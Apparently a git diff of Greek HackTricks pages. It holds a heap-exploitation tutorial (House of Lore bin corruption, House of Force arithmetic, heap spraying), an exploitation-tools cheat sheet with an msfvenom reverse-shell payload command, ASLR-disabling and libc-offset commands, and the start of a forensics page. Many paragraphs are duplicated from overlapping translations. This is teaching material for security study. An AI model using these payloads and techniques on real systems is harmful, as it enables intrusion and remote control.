Για να προστατευτεί αυτή η επίθεση χρησιμοποιείται ο τυπικός έλεγχος ότι το κομμάτι "δεν" είναι ψευδές: ελέγχεται αν το bck->fd δείχνει στον victim. Δηλαδή, στην περίπτωσή μας, αν ο δείκτης fd του ψευδοκομματιού που δείχνει στο stack δείχνει στον victim. Για να παρακάμψει αυτήν την προστασία, ο επιτιθέμενος θα πρέπει να είναι σε θέση να γράψει κάπως (πιθανότατα μέσω του stack) στη σωστή διεύθυνση τη διεύθυνση του victim. Έτσι, θα φαίνεται ότι είναι ένα αληθινό κομμάτι.
Η Victim συλλέγει την τιμή της διεύθυνσης του τρέχοντος κομματιού wilderness (το τρέχον av->top) και το remainder είναι ακριβώς το άθροισμα αυτής της διεύθυνσης με την ποσότητα των bytes που ζητήθηκαν από το malloc(). Έτσι, αν \&EIP-8 είναι στο 0xbffff224 και το av->top περιέχει 0x080c2788, τότε η ποσότητα που πρέπει να κρατήσουμε στο malloc που ελέγχεται ώστε το av->top να δείχνει στο $EIP-8 για την επόμενη malloc() θα είναι:
0xbffff224 - 0x080c2788 = 3086207644.
Έτσι θα αποθηκευτεί στο av->top η τροποποιημένη τιμή και η επόμενη malloc θα δείχνει στο EIP και θα μπορεί να το υπεργράψει.
Είναι σημαντικό να γνωρίζουμε ότι το μέγεθος του νέου κομματιού wilderness είναι μεγαλύτερο από την αίτηση που έγινε από την τελευταία malloc(). Δηλαδή, αν το wilderness δείχνει στο \&EIP-8, το μέγεθος θα μείνει ακριβώς στο πεδίο EBP της στοίβας.
**The House of Lore**
**Διαφθορά SmallBin**
Τα κομμάτια που απελευθερώνονται εισάγονται στο bin ανάλογα με το μέγεθός τους. Αλλά πριν εισαχθούν, αποθηκεύονται σε unsorted bins. Ένα κομμάτι απελευθερωμένο δεν μπαίνει αμέσως στο bin του, αλλά μένει σε unsorted bins. Στη συνέχεια, αν ζητηθεί ένα νέο κομμάτι και το προηγούμενο απελευθερωμένο μπορεί να εξυπηρετήσει, του το επιστρέφει, αλλά αν ζητηθεί μεγαλύτερο, το απελευθερωμένο κομμάτι σε unsorted bins μπαίνει στο κατάλληλο bin του.
Για να φτάσουμε στον ευάλωτο κώδικα, η αίτηση μνήμης πρέπει να είναι μεγαλύτερη από το av->max\_fast (72 κανονικά) και λιγότερη από το MIN\_LARGE\_SIZE (512).
Εάν στο bin υπάρχει ένα κομμάτι του κατάλληλου μεγέθους για αυτό που ζητείται, επιστρέφεται αυτό μετά την αποσύνδεση:
bck = victim->bk; Δείχνει στο προηγούμενο κομμάτι, είναι η μόνη πληροφορία που μπορούμε να τροποποιήσουμε.
bin->bk = bck; Το προτελευταίο κομμάτι γίνεται το τελευταίο, σε περίπτωση που το bck δείχνει στη στοίβα, στο επόμενο κομμάτι που θα κρατηθεί θα δοθεί αυτή η διεύθυνση.
bck->fd = bin; Κλείνει τη λίστα κάνοντάς το να δείχνει στο bin.
Απαιτείται:
Να κρατηθούν δύο malloc, έτσι ώστε στο πρώτο να μπορεί να γίνει overflow αφού το δεύτερο έχει απελευθερωθεί και εισαχθεί στο bin του (δηλαδή, να έχει κρατηθεί ένα malloc μεγαλύτερο από το δεύτερο κομμάτι πριν γίνει η υπερχείλιση).
Να ελέγχεται το malloc που κρατείται στο οποίο θα δοθεί η διεύθυνση που επιλέγει ο επιτιθέμενος.
Ο στόχος είναι ο εξής, αν μπορούμε να κάνουμε μια υπερχείλιση σε ένα heap που έχει από κάτω ένα κομμάτι που έχει ήδη απελευθερωθεί και είναι στο bin του, μπορούμε να τροποποιήσουμε τον δείκτη bk του. Εάν τροποποιήσουμε τον δείκτη bk του και αυτό το κομμάτι γίνει το πρώτο της λίστας του bin και κρατηθεί, το bin θα παραπλανηθεί και θα του πει ότι το τελευταίο κομμάτι της λίστας (το επόμενο που προσφέρεται) είναι στη διεύθυνση ψεύτικη που έχουμε βάλει (στη στοίβα ή GOT για παράδειγμα). Έτσι, αν κρατηθεί ένα άλλο κομμάτι και ο επιτιθέμενος έχει άδεια σε αυτό, θα του δοθεί ένα κομμάτι στη θέση που επιθυμεί και θα μπορεί να γράψει σε αυτή.
Μετά την απελευθέρωση του τροποποιημένου κομματιού είναι απαραίτητο να κρατηθεί ένα κομμάτι μεγαλύτερο από το απελευθερωμένο, έτσι το τροποποιημένο κομμάτι θα βγει από τα unsorted bins και θα εισαχθεί στο κατάλληλο bin του.
Μόλις είναι στο bin του, είναι η στιγμή να τροποποιηθεί ο δείκτης bk μέσω της υπερχείλισης ώστε να δείχνει στη διεύθυνση που θέλουμε να υπεργράψουμε.
Έτσι, το bin θα πρέπει να περιμένει τη σειρά του ώστε να κληθούν αρκετές φορές οι malloc() ώστε να ξαναχρησιμοποιηθεί το τροποποιημένο bin και να παραπλανήσει το bin κάνοντάς του να πιστέψει ότι το επόμενο κομμάτι είναι στη ψεύτικη διεύθυνση. Και στη συνέχεια θα δοθεί το κομμάτι που μας ενδιαφέρει.
Για να εκτελεστεί η ευπάθεια το συντομότερο δυνατό, το ιδανικό θα ήταν: Κράτηση του ευάλωτου κομματιού, κράτηση του κομματιού που θα τροποποιηθεί, απελευθέρωση αυτού του κομματιού, κράτηση ενός μεγαλύτερου κομματιού από αυτό που θα τροποποιηθεί, τροποποίηση του κομματιού (ευπάθεια), κράτηση ενός κομματιού ίδιου μεγέθους με το τροποποιημένο και κράτηση ενός δεύτερου κομματιού ίδιου μεγέθους και αυτό θα είναι αυτό που θα δείχνει στη διεύθυνση που επιλέγεται.
Για να προστατευτεί αυτή η επίθεση χρησιμοποιήθηκε η τυπική επαλήθευση ότι το κομμάτι “δεν” είναι ψεύτικο: ελέγχεται αν το bck->fd δείχνει στο victim. Δηλαδή, στην περίπτωσή μας αν ο δείκτης fd\* του κομματιού που δείχνεται στη στοίβα δείχνει στο victim. Για να παρακαμφθεί αυτή η προστασία, ο επιτιθέμενος θα πρέπει να είναι σε θέση να γράψει με κάποιο τρόπο (πιθανώς μέσω της στοίβας) στη σωστή διεύθυνση τη διεύθυνση του victim. Έτσι ώστε να φαίνεται σαν ένα πραγματικό κομμάτι.
**Διαφθορά LargeBin**
Απαιτούνται τα ίδια προαπαιτούμενα με πριν και κάποια παραπάνω, επιπλέον τα κομμάτια που κρατούνται πρέπει να είναι μεγαλύτερα από 512.
Απαιτούνται οι ίδιες απαιτήσεις όπως πριν και μερικές ακόμη, επιπλέον τα κομμάτια που κρατούνται πρέπει να είναι μεγαλύτερα από 512.
Η επίθεση είναι όπως η προηγούμενη, δηλαδή πρέπει να τροποποιηθεί ο δείκτης bk και απαιτούνται όλες αυτές οι κλήσεις στην malloc(), αλλά επιπλέον πρέπει να τροποποιηθεί το μέγεθος του τροποποιημένου κομματιού έτσι ώστε αυτό το size - nb να είναι < MINSIZE.
Η επίθεση είναι όπως η προηγούμενη, δηλαδή, πρέπει να τροποποιηθεί ο δείκτης bk και απαιτούνται όλες αυτές οι κλήσεις σε malloc(), αλλά επιπλέον πρέπει να τροποποιηθεί το μέγεθος του τροποποιημένου κομματιού έτσι ώστε αυτό το μέγεθος - nb να είναι < MINSIZE.
Για παράδειγμα, θα πρέπει να οριστεί το size σε 1552 ώστε 1552 - 1544 = 8 < MINSIZE (η αφαίρεση δεν μπορεί να είναι αρνητική επειδή συγκρίνεται με έναν unsigned)
Για παράδειγμα, θα κάνει να βάλουμε στο μέγεθος 1552 ώστε 1552 - 1544 = 8 < MINSIZE (η αφαίρεση δεν μπορεί να είναι αρνητική γιατί συγκρίνεται ένα unsigned).
Επιπλέον, έχει εισαχθεί ένα patch για να γίνει ακόμη πιο περίπλοκο.
Επιπλέον, έχει εισαχθεί μια επιδιόρθωση για να γίνει ακόμη πιο περίπλοκο.
**Ψεκασμός Heap**
**Heap Spraying**
Βασικά αποτελείται από την κράτηση της μέγιστης δυνατής μνήμης για heaps και την γέμισή τους με ένα στρώμα nops που τελειώνει με μια shellcode. Επιπλέον, ως στρώμα χρησιμοποιείται το 0x0c. Έτσι, θα προσπαθήσουμε να πηδήξουμε στη διεύθυνση 0x0c0c0c0c, έτσι αν κάποια διεύθυνση που θα υπεργραφεί είναι αυτή που θα κληθεί με αυτό το στρώμα, τότε θα πηδήξει εκεί. Βασικά η τακτική είναι να κρατήσουμε το μέγιστο δυνατό για να δούμε αν υπεργράφεται κάποιος δείκτης και να πηδήξουμε στο 0x0c0c0c0c ελπίζοντας ότι εκεί θα υπάρχουν nops.
Βασικά συνίσταται στην κράτηση όλης της δυνατής μνήμης για heaps και γέμισμα αυτών με ένα στρώμα nops που τελειώνει με μια shellcode. Επιπλέον, ως στρώμα χρησιμοποιείται το 0x0c. Διότι θα προσπαθήσουμε να παραλείψουμε στη διεύθυνση 0x0c0c0c0c, και έτσι αν υπεργραφεί κάποια διεύθυνση στην οποία θα κληθεί με αυτό το στρώμα, θα παραλειφθεί εκεί. Βασικά η τακτική είναι να κρατήσουμε το μέγιστο δυνατό για να δούμε αν υπεργραφεί κάποιος δείκτης και να παραλείψουμε στο 0x0c0c0c0c περιμένοντας ότι εκεί θα υπάρχουν nops.
**Σχεδιασμός Heap Feng**
**Heap Feng Shui**
Αποτελείται από την στερέωση της μνήμης με την κράτηση και απελευθέρωση κομματιών μνήμης έτσι ώστε να υπάρχουν κρατημένα κομμάτια μεταξύ ελεύθερων κομματιών. Το buffer που θα υπερχειλιστεί θα βρίσκεται σε ένα από αυτά τα κομμάτια.
Συνίσταται στο να σπείρουμε τη μνήμη μέσω κρατήσεων και απελευθερώσεων έτσι ώστε να παραμείνουν κομμάτια κρατημένα ανάμεσα σε ελεύθερα κομμάτια. Ο buffer που θα υπερχειλίσει θα βρίσκεται σε ένα από τα αυγά.
**objdump -d εκτελέσιμο** —> Διασυναρμολόγηση συναρτήσεων\
**objdump -d ./ΠΡΟΓΡΑΜΜΑ | grep ΣΥΝΑΡΤΗΣΗ** —> Λήψη διεύθυνσης συνάρτησης\
**objdump -d -Mintel ./shellcodeout** —> Για να δούμε αν πράγματι είναι η shellcode μας και να βγάλουμε τα OpCodes\
**objdump -d εκτελέσιμο** —> Διασπά τις συναρτήσεις\
**objdump -d ./ΠΡΟΓΡΑΜΜΑ | grep ΣΥΝΑΡΤΗΣΗ** —> Λαμβάνει τη διεύθυνση της συνάρτησης\
**objdump -d -Mintel ./shellcodeout** —> Για να δούμε ότι είναι πράγματι η shellcode μας και να βγάλουμε τους OpCodes\
**objdump -t ./exec | grep varBss** —> Πίνακας συμβόλων, για να βγάλουμε τη διεύθυνση μεταβλητών και συναρτήσεων\
**objdump -TR ./exec | grep exit(func lib)** —> Για να βγάλουμε τη διεύθυνση συναρτήσεων βιβλιοθηκών (GOT)\
**objdump -d ./exec | grep funcCode**\
**objdump -s -j .dtors /exec**\
**objdump -s -j .got ./exec**\
**objdump -t --dynamic-relo ./exec | grep puts** —> Βγάζει τη διεύθυνση του puts που θα υπεργραφεί στο GOT\
**objdump -D ./exec** —>
**objdump -t --dynamic-relo ./exec | grep puts** —> Βγάζει τη διεύθυνση του puts για να υπεργραφεί στην GOT\
**objdump -D ./exec** —> Διασπά ΟΛΑ μέχρι τις εισόδους της plt\
**objdump -p -/exec**\
**Info functions strncmp —>** Πληροφορίες για τη συνάρτηση στο gdb
## Ενδιαφέροντα μαθήματα
* [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io)
* [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE)
* [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes)
## **Αναφορές**
* [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html)
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Υποστήριξη HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Ελάτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Εργαλεία Εκμετάλλευσης
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks στο AWS)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Metasploit
```
@ -22,8 +23,6 @@ nasm_shell.rb
nasm> jmp esp #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01
```
### Shellcodes
### Shellcodes
```
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
@ -126,22 +125,22 @@ gef➤ pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely
```
### Κόλπα
### Tricks
#### Ίδιες διευθύνσεις στο GDB
#### GDB ίδιες διευθύνσεις
Κατά την εκτέλεση αποσφαλμάτωσης στο GDB, **ο GDB θα έχει ελαφρώς διαφορετικές διευθύνσεις από αυτές που χρησιμοποιούνται από το δυαδικό όταν εκτελείται.** Μπορείτε να κάνετε το GDB να έχει τις ίδιες διευθύνσεις κάνοντας:
Ενώ κάνετε αποσφαλμάτωση, το GDB θα έχει **ελαφρώς διαφορετικές διευθύνσεις από αυτές που χρησιμοποιεί το δυαδικό αρχείο κατά την εκτέλεση.** Μπορείτε να κάνετε το GDB να έχει τις ίδιες διευθύνσεις κάνοντας:
* `unset env LINES`
* `unset env COLUMNS`
* `set env _=<διαδρομή>` _Βάλτε την απόλυτη διαδρομή προς το δυαδικό_
* Εκμεταλλευτείτε το δυαδικό χρησιμοποιώντας την ίδια απόλυτη διαδρομή
* Τα `PWD` και `OLDPWD` πρέπει να είναι τα ίδια κατά τη χρήση του GDB και κατά την εκμετάλλευση του δυαδικού
* `set env _=<path>` _Βάλτε την απόλυτη διαδρομή στο δυαδικό αρχείο_
* Εκμεταλλευτείτε το δυαδικό αρχείο χρησιμοποιώντας την ίδια απόλυτη διαδρομή
* `PWD` και `OLDPWD` πρέπει να είναι οι ίδιες όταν χρησιμοποιείτε το GDB και όταν εκμεταλλεύεστε το δυαδικό αρχείο
#### Backtrace για εύρεση κλήσεων συναρτήσεων
#### Backtrace για να βρείτε τις κλήσεις συναρτήσεων
Όταν έχετε ένα **δυαδικό που έχει συνδεθεί στατικά**, όλες οι συναρτήσεις θα ανήκουν στο δυαδικό (και όχι σε εξωτερικές βιβλιοθήκες). Σε αυτήν την περίπτωση θα είναι δύσκολο να **αναγνωρίσετε τη ροή που ακολουθεί το δυαδικό για παράδειγμα για να ζητήσει είσοδο από τον χρήστη**.\
Μπορείτε εύκολα να αναγνωρίσετε αυτήν τη ροή **τρέχοντας** το δυαδικό με το **gdb** μέχρι να σας ζητηθεί είσοδος. Στη συνέχεια, σταματήστε το με **CTRL+C** και χρησιμοποιήστε την εντολή **`bt`** (**backtrace**) για να δείτε τις κληθείσες συναρτήσεις:
Όταν έχετε ένα **στατικά συνδεδεμένο δυαδικό αρχείο**, όλες οι συναρτήσεις θα ανήκουν στο δυαδικό αρχείο (και όχι σε εξωτερικές βιβλιοθήκες). Σε αυτή την περίπτωση, θα είναι δύσκολο να **εντοπίσετε τη ροή που ακολουθεί το δυαδικό αρχείο για να ζητήσει, για παράδειγμα, είσοδο από τον χρήστη.**\
Μπορείτε εύκολα να εντοπίσετε αυτή τη ροή **τρέχοντας** το δυαδικό αρχείο με **gdb** μέχρι να σας ζητηθεί είσοδος. Στη συνέχεια, σταματήστε το με **CTRL+C** και χρησιμοποιήστε την εντολή **`bt`** (**backtrace**) για να δείτε τις κλήσεις συναρτήσεων:
```
gef➤ bt
#0 0x00000000004498ae in ?? ()
@ -150,59 +149,59 @@ gef➤ bt
#3 0x00000000004011a9 in ?? ()
#4 0x0000000000400a5a in ?? ()
```
### Εξυπηρετητής GDB
### GDB server
`gdbserver --multi 0.0.0.0:23947` (στο IDA πρέπει να συμπληρώσετε τον απόλυτο δρόμο του εκτελέσιμου στη μηχανή Linux και στη μηχανή Windows)
`gdbserver --multi 0.0.0.0:23947` (στην IDA πρέπει να συμπληρώσετε τη απόλυτη διαδρομή του εκτελέσιμου στη Linux μηχανή και στη Windows μηχανή)
## Ghidra
### Εύρεση μετατόπισης στοίβας
### Find stack offset
**Το Ghidra** είναι πολύ χρήσιμο για να βρείτε τη **μετατόπιση** για ένα **buffer overflow χάρη στις πληροφορίες για τη θέση των τοπικών μεταβλητών.**\
Για παράδειγμα, στο παρακάτω παράδειγμα, ένα buffer flow στο `local_bc` υποδηλώνει ότι χρειάζεστε μια μετατόπιση του `0xbc`. Επιπλέον, αν το `local_10` είναι ένα canary cookie υποδηλώνει ότι για να το αντικαταστήσετε από το `local_bc` υπάρχει μια μετατόπιση του `0xac`.\
_Να θυμάστε ότι το πρώτο 0x08 από όπου αποθηκεύεται το RIP ανήκει στο RBP._
**Ghidra** είναι πολύ χρήσιμο για να βρείτε το **offset** για ένα **buffer overflow χάρη στις πληροφορίες σχετικά με τη θέση των τοπικών μεταβλητών.**\
Για παράδειγμα, στο παρακάτω παράδειγμα, μια ροή buffer στο `local_bc` υποδεικνύει ότι χρειάζεστε ένα offset `0xbc`. Επιπλέον, αν το `local_10` είναι ένα canary cookie, υποδεικνύει ότι για να το παρακάμψετε από το `local_bc` υπάρχει ένα offset `0xac`.\
_Θυμηθείτε ότι τα πρώτα 0x08 από όπου αποθηκεύεται το RIP ανήκουν στο RBP._
![](<../../.gitbook/assets/image (616).png>)
## GCC
**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Σύνθεση χωρίς προστασίες\
**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Συμπίεση χωρίς προστασίες\
**-o** --> Έξοδος\
**-g** --> Αποθήκευση κώδικα (το GDB θα μπορεί να τον δει)\
**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> Για απενεργοποίηση του ASLR στο Linux
**-g** --> Αποθήκευση κώδικα (το GDB θα μπορεί να το δει)\
**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> Για να απενεργοποιήσετε το ASLR στο linux
**Για σύνθεση ενός shellcode:**\
**Για να συμπιέσετε ένα shellcode:**\
**nasm -f elf assembly.asm** --> επιστρέφει ένα ".o"\
**ld assembly.o -o shellcodeout** --> Εκτελέσιμο
## Objdump
**-d** --> **Αποσυναρμολόγηση εκτελέσιμων** τμημάτων (δείτε τους κωδικούς ενός μεταγλωττισμένου shellcode, βρείτε ROP Gadgets, βρείτε διεύθυνση συνάρτησης...)\
**-Mintel** --> Σύνταξη **Intel**\
**-t** --> Πίνακας **συμβόλων**\
**-d** --> **Αποσυναρμολόγηση εκτελέσιμων** τμημάτων (δείτε τα opcodes ενός συμπιεσμένου shellcode, βρείτε ROP Gadgets, βρείτε διεύθυνση συνάρτησης...)\
**-Mintel** --> **Σύνταξη Intel**\
**-t** --> **Πίνακας συμβόλων**\
**-D** --> **Αποσυναρμολόγηση όλων** (διεύθυνση στατικής μεταβλητής)\
**-s -j .dtors** --> τμήμα dtors\
**-s -j .got** --> τμήμα got\
\-D -s -j .plt --> τμήμα plt **αποσυναρμολογημένο**\
**-TR** --> **Ανακατευθύνσεις**\
\-D -s -j .plt --> **plt** τμήμα **αποσυναρμολογημένο**\
**-TR** --> **Μετατοπίσεις**\
**ojdump -t --dynamic-relo ./exec | grep puts** --> Διεύθυνση του "puts" για τροποποίηση στο GOT\
**objdump -D ./exec | grep "VAR\_NAME"** --> Διεύθυνση μιας στατικής μεταβλητής (αυτές αποθηκεύονται στο τμήμα DATA).
**objdump -D ./exec | grep "VAR\_NAME"** --> Διεύθυνση ή στατική μεταβλητή (αυτές αποθηκεύονται στην τμήμα DATA).
## Core dumps
1. Εκτελέστε `ulimit -c unlimited` πριν ξεκινήσετε το πρόγραμμά μου
1. Εκτελέστε `ulimit -c unlimited` πριν ξεκινήσετε το πρόγραμμα μου
2. Εκτελέστε `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
3. `sudo gdb --core=\<path/core> --quiet`
3. sudo gdb --core=\<path/core> --quiet
## Περισσότερα
## More
**ldd executable | grep libc.so.6** --> Διεύθυνση (αν υπάρχει ASLR, τότε αυτή αλλάζει κάθε φορά)\
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Επανάληψη για να δείτε αν η διεύθυνση αλλάζει πολύ\
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Μετατόπιση του "system"\
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Μετατόπιση του "/bin/sh"
**ldd executable | grep libc.so.6** --> Διεύθυνση (αν ASLR, τότε αυτό αλλάζει κάθε φορά)\
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Βρόχος για να δείτε αν η διεύθυνση αλλάζει πολύ\
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset του "system"\
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset του "/bin/sh"
**strace executable** --> Συναρτήσεις που καλούνται από το εκτελέσιμο\
**rabin2 -i ejecutable -->** Διεύθυνση όλων των συναρτήσεων
**strace executable** --> Λειτουργίες που καλούνται από το εκτελέσιμο\
**rabin2 -i ejecutable -->** Διεύθυνση όλων των λειτουργιών
## **Inmunity debugger**
```bash
@ -211,26 +210,27 @@ _Να θυμάστε ότι το πρώτο 0x08 από όπου αποθηκε
```
## IDA
### Αποσφαλμάτωση σε απομακρυσμένο σύστημα Linux
### Αποσφαλμάτωση σε απομακρυσμένο linux
Μέσα στον φάκελο του IDA μπορείτε να βρείτε δυαδικά αρχεία που μπορούν να χρησιμοποιηθούν για την αποσφαλμάτωση ενός δυαδικού αρχείου σε ένα σύστημα Linux. Για να το κάνετε αυτό, μεταφέρετε το δυαδικό αρχείο _linux\_server_ ή _linux\_server64_ μέσα στον διακομιστή Linux και εκτελέστε το μέσα στον φάκελο που περιέχει το δυαδικό αρχείο:
Μέσα στον φάκελο IDA μπορείτε να βρείτε δυαδικά αρχεία που μπορούν να χρησιμοποιηθούν για να αποσφαλματώσουν ένα δυαδικό αρχείο μέσα σε ένα linux. Για να το κάνετε αυτό, μεταφέρετε το δυαδικό αρχείο _linux\_server_ ή _linux\_server64_ μέσα στον διακομιστή linux και εκτελέστε το μέσα στον φάκελο που περιέχει το δυαδικό:
```
./linux_server64 -Ppass
```
Στη συνέχεια, ρυθμίστε τον εντοπιστή σφαλμάτων: Εντοπιστής (απομακρυσμένος linux) --> Επιλογές διεργασιών...:
Στη συνέχεια, ρυθμίστε τον αποσφαλματωτή: Debugger (linux remote) --> Επιλογές διαδικασίας...:
![](<../../.gitbook/assets/image (101).png>)
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,37 +1,38 @@
# Ψηφιακή Διαφθορά σε Linux
# Linux Forensics
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** που υποστηρίζονται από τα **πιο προηγμένα** εργαλεία της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% hint style="success" %}
